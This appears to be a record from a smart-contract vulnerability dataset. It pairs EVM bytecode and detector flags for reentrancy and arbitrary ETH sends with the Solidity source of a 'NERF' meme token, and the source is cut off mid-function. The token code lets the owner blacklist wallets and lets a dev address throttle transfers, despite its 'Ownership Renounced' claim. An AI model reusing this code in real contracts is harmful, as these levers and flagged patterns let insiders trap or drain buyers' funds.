50506040513d601f19601f82011682018060405250810190610d4b919061282f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dad57600080fd5b505afa158015610dc1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de5919061282f565b6040518363ffffffff1660e01b8152600401610e02929190612ccf565b602060405180830381600087803b158015610e1c57600080fd5b505af1158015610e30573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e54919061282f565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610edd30610766565b600080610ee861090a565b426040518863ffffffff1660e01b8152600401610f0a96959493929190612d21565b6060604051808303818588803b158015610f2357600080fd5b505af1158015610f37573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f5c91906129db565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff021916908315150217905550671d7d843dc3b480006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161105e929190612cf8565b602060405180830381600087803b15801561107857600080fd5b505af115801561108c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b09190612989565b5050565b6110bc611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611149576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114090612e7f565b60405180910390fd5b6000811161118c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118390612e3f565b60405180910390fd5b6111bb60646111ad83683635c9adc5dea00000611fc890919063ffffffff16565b61204390919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6012546040516111f29190612f1f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f390612edf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561136c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136390612dff565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161144a9190612f1f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114be90612ebf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611537576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152e90612dbf565b60405180910390fd5b6000811161157a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157190612e9f565b60405180910390fd5b6007600a819055506005600b8190555061159261090a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160057506115d061090a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a4c57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116a95750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116b257600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561175d5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117b35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117cb5750601160179054906101000a900460ff165b1561187b576012548111156117df57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061182a57600080fd5b6021426118379190613055565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119265750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561197c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611992576007600a819055506008600b819055505b600061199d30610766565b9050601160159054906101000a900460ff16158015611a0a5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a225750601160169054906101000a900460ff165b15611a4a57611a3081611cce565b60004790506000811115611a4857611a4747611b73565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611af35750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611afd57600090505b611b098484848461208d565b50505050565b6000838311158290611b57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4e9190612d9d565b60405180910390fd5b5060008385611b669190613136565b9050809150509392505050565b7369696902c8e3950ca062527c61e23b8aedb444cb73ffffffffffffffffffffffffffffffffffffffff166108fc611bb560028461204390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611be0573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c3160028461204390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c5c573d6000803e3d6000fd5b5050565b6000600854821115611ca7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c9e90612ddf565b60405180910390fd5b6000611cb16120ba565b9050611cc6818461204390919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d2c577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d5a5781602001602082028036833780820191505090505b5090503081600081518110611d98577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e3a57600080fd5b505afa158015611e4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e72919061282f565b81600181518110611eac577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f1330601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461128c565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f77959493929190612f3a565b600060405180830381600087803b158015611f9157600080fd5b505af1158015611fa5573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b600080831415611fdb576000905061203d565b60008284611fe991906130dc565b9050828482611ff891906130ab565b14612038576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202f90612e5f565b60405180910390fd5b809150505b92915050565b600061208583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120e5565b905092915050565b8061209b5761209a612148565b5b6120a684848461218b565b806120b4576120b3612356565b5b50505050565b60008060006120c761236a565b915091506120de818361204390919063ffffffff16565b9250505090565b6000808311829061212c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121239190612d9d565b60405180910390fd5b506000838561213b91906130ab565b9050809150509392505050565b6000600a5414801561215c57506000600b54145b1561216657612189565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b60008060008060008061219d876123cc565b9550955095509550955095506121fb86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461243490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061229085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247e90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122dc816124dc565b6122e68483612599565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123439190612f1f565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b600080600060085490506000683635c9adc5dea0000090506123a0683635c9adc5dea0000060085461204390919063ffffffff16565b8210156123bf57600854683635c9adc5dea000009350935050506123c8565b81819350935050505b9091565b60008060008060008060008060006123e98a600a54600b546125d3565b92509250925060006123f96120ba565b9050600080600061240c8e878787612669565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061247683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b0f565b905092915050565b600080828461248d9190613055565b9050838110156124d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124c990612e1f565b60405180910390fd5b8091505092915050565b60006124e66120ba565b905060006124fd8284611fc890919063ffffffff16565b905061255181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247e90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125ae8260085461243490919063ffffffff16565b6008819055506125c98160095461247e90919063ffffffff16565b6009819055505050565b6000806000806125ff60646125f1888a611fc890919063ffffffff16565b61204390919063ffffffff16565b90506000612629606461261b888b611fc890919063ffffffff16565b61204390919063ffffffff16565b9050600061265282612644858c61243490919063ffffffff16565b61243490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126828589611fc890919063ffffffff16565b905060006126998689611fc890919063ffffffff16565b905060006126b08789611fc890919063ffffffff16565b905060006126d9826126cb858761243490919063ffffffff16565b61243490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061270561270084612fd4565b612faf565b9050808382526020820190508285602086028201111561272457600080fd5b60005b85811015612754578161273a888261275e565b845260208401935060208301925050600181019050612727565b5050509392505050565b60008135905061276d816135e9565b92915050565b600081519050612782816135e9565b92915050565b600082601f83011261279957600080fd5b81356127a98482602086016126f2565b91505092915050565b6000813590506127c181613600565b92915050565b6000815190506127d681613600565b92915050565b6000813590506127eb81613617565b92915050565b60008151905061280081613617565b92915050565b60006020828403121561281857600080fd5b60006128268482850161275e565b91505092915050565b60006020828403121561284157600080fd5b600061284f84828501612773565b91505092915050565b6000806040838503121561286b57600080fd5b60006128798582860161275e565b925050602061288a8582860161275e565b9150509250929050565b6000806000606084860312156128a957600080fd5b60006128b78682870161275e565b93505060206128c88682870161275e565b92505060406128d9868287016127dc565b9150509250925092565b600080604083850312156128f657600080fd5b60006129048582860161275e565b9250506020612915858286016127dc565b9150509250929050565b60006020828403121561293157600080fd5b600082013567ffffffffffffffff81111561294b57600080fd5b61295784828501612788565b91505092915050565b60006020828403121561297257600080fd5b6000612980848285016127b2565b91505092915050565b60006020828403121561299b57600080fd5b60006129a9848285016127c7565b91505092915050565b6000602082840312156129c457600080fd5b60006129d2848285016127dc565b91505092915050565b6000806000606084860312156129f057600080fd5b60006129fe868287016127f1565b9350506020612a0f868287016127f1565b9250506040612a20868287016127f1565b9150509250925092565b6000612a368383612a42565b60208301905092915050565b612a4b8161316a565b82525050565b612a5a8161316a565b82525050565b6000612a6b82613010565b612a758185613033565b9350612a8083613000565b8060005b83811015612ab1578151612a988882612a2a565b9750612aa383613026565b925050600181019050612a84565b5085935050505092915050565b612ac78161317c565b82525050565b612ad6816131bf565b82525050565b6000612ae78261301b565b612af18185613044565b9350612b018185602086016131d1565b612b0a8161330b565b840191505092915050565b6000612b22602383613044565b9150612b2d8261331c565b604082019050919050565b6000612b45602a83613044565b9150612b508261336b565b604082019050919050565b6000612b68602283613044565b9150612b73826133ba565b604082019050919050565b6000612b8b601b83613044565b9150612b9682613409565b602082019050919050565b6000612bae601d83613044565b9150612bb982613432565b602082019050919050565b6000612bd1602183613044565b9150612bdc8261345b565b604082019050919050565b6000612bf4602083613044565b9150612bff826134aa565b602082019050919050565b6000612c17602983613044565b9150612c22826134d3565b604082019050919050565b6000612c3a602583613044565b9150612c4582613522565b604082019050919050565b6000612c5d602483613044565b9150612c6882613571565b604082019050919050565b6000612c80601783613044565b9150612c8b826135c0565b602082019050919050565b612c9f816131a8565b82525050565b612cae816131b2565b82525050565b6000602082019050612cc96000830184612a51565b92915050565b6000604082019050612ce46000830185612a51565b612cf16020830184612a51565b9392505050565b6000604082019050612d0d6000830185612a51565b612d1a6020830184612c96565b9392505050565b600060c082019050612d366000830189612a51565b612d436020830188612c96565b612d506040830187612acd565b612d5d6060830186612acd565b612d6a6080830185612a51565b612d7760a0830184612c96565b979650505050505050565b6000602082019050612d976000830184612abe565b92915050565b60006020820190508181036000830152612db78184612adc565b905092915050565b60006020820190508181036000830152612dd881612b15565b9050919050565b60006020820190508181036000830152612df881612b38565b9050919050565b60006020820190508181036000830152612e1881612b5b565b9050919050565b60006020820190508181036000830152612e3881612b7e565b9050919050565b60006020820190508181036000830152612e5881612ba1565b9050919050565b60006020820190508181036000830152612e7881612bc4565b9050919050565b60006020820190508181036000830152612e9881612be7565b9050919050565b60006020820190508181036000830152612eb881612c0a565b9050919050565b60006020820190508181036000830152612ed881612c2d565b9050919050565b60006020820190508181036000830152612ef881612c50565b9050919050565b60006020820190508181036000830152612f1881612c73565b9050919050565b6000602082019050612f346000830184612c96565b92915050565b600060a082019050612f4f6000830188612c96565b612f5c6020830187612acd565b8181036040830152612f6e8186612a60565b9050612f7d6060830185612a51565b612f8a6080830184612c96565b9695505050505050565b6000602082019050612fa96000830184612ca5565b92915050565b6000612fb9612fca565b9050612fc58282613204565b919050565b6000604051905090565b600067ffffffffffffffff821115612fef57612fee6132dc565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613060826131a8565b915061306b836131a8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130a05761309f61327e565b5b828201905092915050565b60006130b6826131a8565b91506130c1836131a8565b9250826130d1576130d06132ad565b5b828204905092915050565b60006130e7826131a8565b91506130f2836131a8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561312b5761312a61327e565b5b828202905092915050565b6000613141826131a8565b915061314c836131a8565b92508282101561315f5761315e61327e565b5b828203905092915050565b600061317582613188565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006131ca826131a8565b9050919050565b60005b838110156131ef5780820151818401526020810190506131d4565b838111156131fe576000848401525b50505050565b61320d8261330b565b810181811067ffffffffffffffff8211171561322c5761322b6132dc565b5b80604052505050565b6000613240826131a8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132735761327261327e565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6135f28161316a565b81146135fd57600080fd5b50565b6136098161317c565b811461361457600080fd5b50565b613620816131a8565b811461362b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636568747470733a2f2f742e6d652f65526169636875202d2028726169636875636f696e2e636f6d29a26469706673582212206884d7cce7daa069fa5d6d4472cedc750d7a824da67476e813278582ad03366764736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,239 |
0x471ed15e6600875fb56d8d1771f21c2ba821e690
|
/**
*Submitted for verification at Etherscan.io on 2021-11-16
*/
/*
Stealth Launch: 8am CT Time 16/11
https://www.helloNERF.com/
https://t.me/NERFcoin
Locked Liquidity
Ownership Renounced
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract NERF is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "nerf";
string private constant _symbol = "NERF";
uint8 private constant _decimals = 9;
//RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 6;
uint256 private _redisfee = 2;
//Bots
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _DevAddress;
address payable private _marketing;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_DevAddress = addr2;
_marketing = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_DevAddress] = true;
_isExcludedFromFee[_marketing] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value:
address(this).balance}
(address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 25000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function BotControl(uint256 maxTxpc) external {
require(_msgSender() == _DevAddress);
require(maxTxpc > 0);
_maxTxAmount = _tTotal.mul(maxTxpc).div(10**4);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _redisfee == 0) return;
_taxFee = 0;
_redisfee = 0;
}
function restoreAllFee() private {
_taxFee = 6;
_redisfee = 2;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (20 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_DevAddress.transfer(amount.div(2));
_marketing.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _DevAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _DevAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _redisfee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
